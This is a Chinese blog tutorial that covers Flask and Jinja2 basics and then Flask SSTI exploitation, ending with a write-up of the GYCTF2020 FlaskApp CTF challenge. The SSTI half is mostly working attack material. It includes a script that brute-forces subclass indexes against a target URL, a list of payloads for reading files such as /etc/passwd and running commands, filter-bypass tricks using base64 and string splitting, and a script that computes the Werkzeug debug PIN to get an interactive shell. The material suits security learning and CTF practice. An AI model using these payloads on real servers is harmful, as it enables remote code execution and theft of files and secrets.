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Python Flask SSTI 漏洞

发表于 更新于 分类于 阅读次数： Valine：
本文字数： 19k 阅读时长 ≈ 17 分钟

Flask 框架的 XSS 和 SSTI 漏洞

Flask 是什么

Flask 是一个使用 Python 编写的轻量级 Web 应用框架，模板引擎使用 Jinja2

Flask 的基本使用

安装 Flask 库

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python3 -m pip install flask

第一个 Hello, world!

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from flask import Flask
 
app = Flask(__name__)
 
@app.route('/')
def Hello_world():
    return 'Hello, world!'
 
if __name__ == '__main__':
    # 若在 IDE 里调试，把 debug 设置为 False
    app.run(debug=True, port=8080)

内容解释：

  1. 第一行的 import：flask 是安装的库，Flask 是 flask 库里的一个类

  2. 第三行：实例化一个 Flask 类，命名为 app

  3. 第五行：使用一个函数装饰器来修饰函数 hello_world()，route() 里的是网站的根目录

  4. 第十一行：运行应用，参数表如下

    编号 参数 描述
    1 host 监听的主机名。默认为 127.0.0.1（localhost)。 设置为 0.0.0.0 使服务器在外部可用
    2 port 监听端口号，默认为 5000
    3 debug 默认为 false。 如果设置为 true，则提供调试信息
    4 options 被转发到底层的 Werkzeug 服务器

模板 jinja2 相关知识

  • 在 jinja2 中，存在四种语句：控制结构{% %}、变量取值{{}}、注释``、行语句# ... ##
  • jinja2 模板中使用{{}}语法表示一个变量，它是一种特殊的占位符。当利用 jinja2 进行渲染的时候，它会把这些特殊的占位符进行填充 / 替换，jinja2 支持 Python 中所有的 Python 数据类型比如列表、字段、对象等
  • 在 jinja2 引擎中，{{}} 不仅仅是变量标示符，也能执行一些简单的表达式
  • 模板只是一种提供给程序来解析的一种语法，换句话说，模板是用于从数据（变量）到实际的视觉表现（HTML 代码）这项工作的一种实现手段，而这种手段不论在前端还是后端都有应用

使用 HTML 模板

第一种：直接输出
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from flask import Flask
 
app = Flask(__name__)
 
@app.route('/')
def Hello_world():
    user = {'name': 'Apple'}
    return '''
 <html>
     <head>
         <title>Home Page</title>
     </head>
     <body>
         <h1>Hello, ''' + user['name'] + '''</h1>
     </body>
 </html>
     '''
 
if __name__ == '__main__':
    app.run(debug=True, port=8080)

这样生成 HTML 代码有很多弊端，因此 flask 使用 jinja2 模板引擎来分离数据和展示层

第二种：使用模板

首先app.py：

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from flask import Flask
from flask import render_template
from flask import request
 
app = Flask(__name__)
 
@app.route('/')
def Hello_world():
    # 获取 Get 参数
    name = request.args.get('name')
    # 调用函数进行渲染并返回结果
    return render_template('index.html', name=name)
 
if __name__ == '__main__':
    app.run(debug=True, port=8080)

模板templates/index.html：

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<!DOCTYPE html>
<html lang="en">
 
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Flask</title>
</head>
 
<body>
    <!--模板控制条件语句-->
    {% if name %}
    <h2>Hello, {{ name }}</h2>
    {% else %}
    <h2>Hello</h2>
    {% endif %}
</body>

</html>

模板控制语句

第一种：条件控制

使用格式如下：

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{% if 条件1 %}
语句块1
{% elif 条件2 %}
语句块2
{% else %}
不符合所有条件
{% endif %}

举一个实例：

app.py

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# app.py

from flask import Flask
from flask import render_template
from flask import request
 
app = Flask(__name__)

@app.route('/')
def Hello_world():
    name = request.args.get('name')
    return render_template('index.html', name=name)
 
if __name__ == '__main__':
    app.run(debug=False, port=8080)

./templates/index.html

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<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Flask</title>
</head>

<body>
    {% if name %}
    <h2>Hello, {{ name }}</h2>
    {% else %}
    <h2>Fuck! Tell me your name!</h2>
    {% endif %}
</body>

</html>
第二种：循环控制

使用格式如下：

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{% for item in list %}
list 不空时执行
{% else %}
list 为空时执行的默认语句块
{% endfor %}

举一个实例：

app.py

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from flask import Flask
from flask import render_template
 
app = Flask(__name__)

@app.route('/')
def Hello_world():
    list_in = ['Job', 'Nike', '???']
    return render_template('index.html', list_in=list_in)
 
if __name__ == '__main__':
    app.run(debug=False, port=8080)

./templates/index.html

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<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Flask</title>
</head>

<body>
    {% for item in list_in %}
    <p>Hello, {{ item }}</p>
    {% else %}
    <p>{{ "You can't get here" }}</p>
    {% endfor %}
</body>

</html>
第三种：过滤器

过滤器可以对变量加以滤器修改。过滤器通过管道符号|与变量分隔，并且在括号中可以包含可选参数。一个变量可以链接多个过滤器。一个过滤器的输出可以应用于下一个过滤器。

例如，把hello转大写字母

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{{ 'hello'|upper }}

常用过滤器：

过滤器 说明
safe 禁止转义，渲染时不会转义特殊字符
capitallize 把首字母转大写，其他的字母转小写
lower 把所有的字母转小写
upper 把所有字母转大写
title 把每个单词的首字母转大写
trim 去掉首尾空格
striptags 去掉所有的 HTML 标签
join 将多个值拼接成字符串，类似 Python 的 join() 函数
replace 替换字符串的值
round 对数字四舍五入
int 转换成int类型

还存在列表过滤器，可对列表进行索引，排序，求和，求长等操作。还可以自定义过滤器详见：Jinja2常用模板语言（条件判断if，循环遍历for，过滤器）

Flask 中的 XSS 漏洞

在 Flask 中，使用render_template_string（从字符串渲染）或render_template（从文件渲染）渲染出来的 HTML 并不会出现 xss，例如上文的代码（使用 jinja2 模板）并不会出现 xss，同样下面的代码也不会出现 xss：

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from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def main():
    return '<a href="/xss">Test XSS</a>'

@app.route('/xss', methods=['GET', 'POST'])
def xss():
    template = '''
    <form action="/xss" method="post">
    <input type="text" name="input"/></br>
    <input type="submit" value="Submit"/>
    </form>
    </br>
    {{ _input }}
    '''
    if request.method == 'GET':
        return render_template_string(template)
    else:
        return render_template_string(template, _input=request.form["input"])


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8080)

这是因为{{}}中的内容被 jinja 中的过滤了的缘故，特殊的字符被转义了，抓包或者查看 HTML 原始数据可以验证这一点：

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&lt;script&gt;alert(0)&lt;/script&gt;
显示结果 描述 实体名称 实体编号
< 小于号 &lt; &#60;
> 大于号 &gt; &#62;
& 和号 &amp; &#38;
“ 引号 &quot; &#34;

详细分析见：XSS防御——从Flask源码看XSS防御

Flask 中的 SSTI 漏洞

造成 SSTI 的原因

SSTI 服务端模板注入，SSTI 主要为 Python 的一些框架 jinja2、mako、tornado、django，PHP 框架 smarty、twig，Java 框架 jade、velocity 等等使用了渲染函数时，由于代码不规范或信任了用户输入而导致了服务端模板注入，模板渲染其实并没有漏洞，主要是程序员对代码不规范不严谨造成了模板注入漏洞，造成模板可控。

漏洞示例

将参数当字符串来渲染并使用了传入的参数时，可能会导致模板渲染可控，如下：

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from flask import Flask, request, render_template_string
app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def test():
    code = request.args.get('test')
    template = '<html>%s</html>' % code
    return render_template_string(template)


if __name__ == '__main__':
    app.run(debug=False, port=8080)

输入测试参数/?test={{7*7}}，就会发现渲染被控制了，输出为49。如果使用模板来渲染，就不会出现这样的情况。

Flask 中也有一些全局变量，使用?test={{config}}就可以查看到，常用的配置及其含义：

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ENV：测试环境
production：生产环境
development：开发环境
DEBUG：是否开启 debug 模式
SECRET_KEY：密钥字符串
JSON_AS_ASCII：是否以 ascii 编码展示响应报文
JSONIFY_MIMETYPE：响应报文类型

漏洞的利用

利用的方法：进行文件操作或者进行命令的执行

利用的思路：找到父类 <type ‘object’> –> 寻找子类 subclasses() –> 找关于 命令执行 或者 文件操作 的模块

构造继承链的思路是：

  1. 随便找一个内置类对象用 class 拿到他所对应的类
  2. 用 bases 拿到基类（<class ‘object’>）
  3. 用 subclasses () 拿到子类列表
  4. 在子类列表中直接寻找可以利用的类
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__class__         返回调用的参数类型
__bases__         返回基类列表 
__mro__           此属性是在方法解析期间寻找基类时的参考类元组 
__subclasses__()  返回子类的列表 
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量，与 func_globals 等价 
__builtins__      内建模块的引用，在任何地方都是可见的（包括全局），每个 Python 脚本都会自动加载，这个模块包括了很多强大的  built-in 函数，例如 eval, exec, open 等等

一般情况下使用脚本找可利用类的索引，脚本大概是这样（针对题目，要随实际情况变化）：

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import requests
import re
import html
import time

index = 0
# 粗略估计下 subprocess.Popen 的位置，就不从 0 开始了
for i in range(200, 1000):
    try:
        url = "http://xxx/"
        data = "{{''.__class__.__mro__[1].__subclasses__()[" + str(i) + "]}}"

        url = url + "?name=" + data
        
        time.sleep(0.2)
        r = requests.get(url)
        r.encoding = 'utf-8'
        
        res = re.findall("I &hearts; Flask & (.*)", r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)

        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("index of subprocess.Popen:" + str(index))

还有一种脚本（针对题目，它也要随实际情况改写）：

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import re
import requests
from bs4 import BeautifulSoup

url = "http://xxx/"
data = "{{''.__class__.__mro__[1].__subclasses__()}}"

url = url + "?name=" + data

r = requests.get(url)
r.encoding="utf-8"
soup = BeautifulSoup(r.text, "lxml")

item = soup.find('div', {"class": "content-section"}).text
item = re.sub('\[|\]', '', item)
item = re.sub('        I ♥ Flask & ', '', item)
item = item.split(',')

print(item.index(" <class 'subprocess.Popen'>"))

常用 Payload

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python3
文件读取：{{ ().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('file').read() }}
命令执行：{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
命令执行：{{ lipsum.__globals__.__getitem__["os"].popen("whoami").read() }}

python2
文件读取：{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
文件读取：{{ ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines }}
文件读取：{{ ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read() }}
写文件：{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
命令执行：{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
命令执行：{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code') }}  
{{ config.from_pyfile('/tmp/owned.cfg') }}

python2、python3 共有，可命令执行：
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
  {% if c.__name__ == '_IterationGuard': %}
    {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
  {% endif %}
{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %} 
          {{ b['eval']('__import__("os").popen("ls").read()') }}
        {% endif %}
      {% endif %}
     {% endfor %}
  {% endif %}
{% endfor %}

常用绕过

  1. 过滤关键词，使用 Base64 绕过

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    # 对输入有关键词的过滤
    # {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

    # 对输出有关键词的过滤
    # {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read().encode("base64")')}}

  2. 过滤[]等括号

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    # 使用 gititem 绕过，如原 poc：{{ "".class.bases[0] }}
    {{ "".class.bases.getitem(0) }}

  3. 过滤了 subclasses，拼凑法

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    # 原 poc：{{ "".class.bases[0].subclasses() }}
    {{ "".class.bases[0]['subcla'+'sses'] }}

  4. 过滤 class，使用 session

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    poc：{{ session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118] }}
    # 多个 bases[0] 是因为一直在向上找 object 类，使用 mro 就会很方便
    {{ session['__cla'+'ss__'].__mro__[12] }}
    # 或者
    request{{ ['__cl'+'ass__'].__mro__[12] }}

  5. timeit 的使用

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    import timeit
    timeit.timeit("__import__('os').system('dir')",number=1)

    import platform
    print platform.popen('dir').read()

  6. 其他

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    '''
    使用 attr 过滤器，对应 do_attr
    即用来获取类的属性 由 getattr 函数来实现 {{config|attr("__class__")}}
    __getitem__ 方法返回键对应值，attr 过滤器获得类属性
    '''

    {{ get_flashed_messages }}
    {{ url_for }}
    {{% print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr(”read“)() %}}

一道 Flask 的 SSTI

题目

题目地址：[GYCTF2020]FlaskApp

打开题目场景是在线的 Base64 加密和解密，使用 Flask 搭建，在尝试解密时随便输入字符就会报错，读取到一部分的源码：

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@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 ： {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

来试探下有没有 SSTI：先试了试{{3*3}}先编码，再在网站解码，显示no no no !!，结合上面的代码就知道被过滤掉了，再试了试{{3+3}}，解码出来是 6，证明存在 SSTI，先来读取一下 waf 的代码

读取源码

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{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}

写成一行：

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{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

加密解密读取到 waf 部分代码：

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def waf(str): 
  black_list = [ &
    #34;flag&# 34;, & #34;os&# 34;, & #34;system&# 34;, &
    #34;popen&# 34;, & #34;import&# 34;, & #34;eval&# 34;, &
    #34;chr&# 34;, & #34;request&# 34;, & #34;subprocess&# 34;, &
    #34;commands&# 34;, & #34;socket&# 34;, & #34;hex&# 34;, &
    #34;base64&# 34;, & #34;*&# 34;, & #34;?&# 34;
]
  for x in black_list: 
    if x in str.lower(): 
      return 1@ app.route( &#39;/hint&# 39;, methods = [ & #39;GET&# 39;])

字符串拼接绕过

从 black_list 得知了过滤的关键字，因为有 lower 方法，所以不能进行大小写、base64、hex 等方法进行绕过

先来读取下目录文件：

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{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

编码解码，看到了this_is_the_flag.txt，直接来读取：

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{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

编码解码得到 flag，还可以不使用字符串拼接来绕过，使用倒序输出来绕过（’xxx’[::-1]）：

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{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %}

同样编码解码得到 flag

利用 PIN 码 RCE

通过 PIN 码生成机制可知，需要获取如下信息

  1. 服务器运行 flask 所登录的用户名。通过/etc/passwd中可以猜测为 flaskweb 或者 root，此处用的 flaskweb
  2. modname，一般不变就是flask.app
  3. getattr(app, "__name__", app.__class__.__name__)，python 该值一般为 Flask，该值一般不变
  4. flask 库下app.py的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
    当前网络的 mac 地址的十进制数。通过文件/sys/class/net/eth0/address获取（eth0 为网卡名）
  5. 机器的 id：对于非 docker 机每一个机器都会有自已唯一的 id
    Linux：/etc/machine-id或/proc/sys/kernel/random/boot_i，有的系统没有这两个文件
    Windows：见链接 Flask debug 模式 PIN 码生成机制安全性研究笔记
    docker：/proc/self/cgroup

首先获取 MAC 地址：

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{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

得到： 02:72:a1:0c:bb:7a再转换为十进制：2691351493498，然后获取机器 id，读取/proc/self/cgroup

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{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/machine-id','r').read() }}{% endif %}{% endfor %}

得到（最开始读取的是/proc/self/cgroup发现后面计算出来的 PIN 一直是错的，换成了/etc/machine-id读出来计算的 PIN 是对的）：

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1408f836b0ca514d796cbf8960e45fa1

计算 PIN 的脚本：

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import hashlib
from itertools import chain

probably_public_bits = [
    # username
    'flaskweb',
    # modname
    'flask.app',
    # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    'Flask',
    # getattr(mod, '__file__', None)
    '/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
    # str(uuid.getnode()), /sys/class/net/ens33/address
    '2691351493498',
    # get_machine_id(), /etc/machine-id
    '1408f836b0ca514d796cbf8960e45fa1'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)

得到：104-593-296，在解码报错页面输入，获得交互式的 Shell，读取 flag

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import os
os.popen("ls -l /").read()
os.popen("cat /this_is_the_flag.txt").read()

本文参考链接：

Jinja2常用模板语言

从零学习flask模板注入

GYCTF2020 FlaskApp

Flask 框架及其漏洞学习

Flask开启debug模式等于给黑客留了后门

Flask debug 模式 PIN 码生成机制安全性研究笔记

Jinja2常用模板语言（条件判断if，循环遍历for，过滤器）

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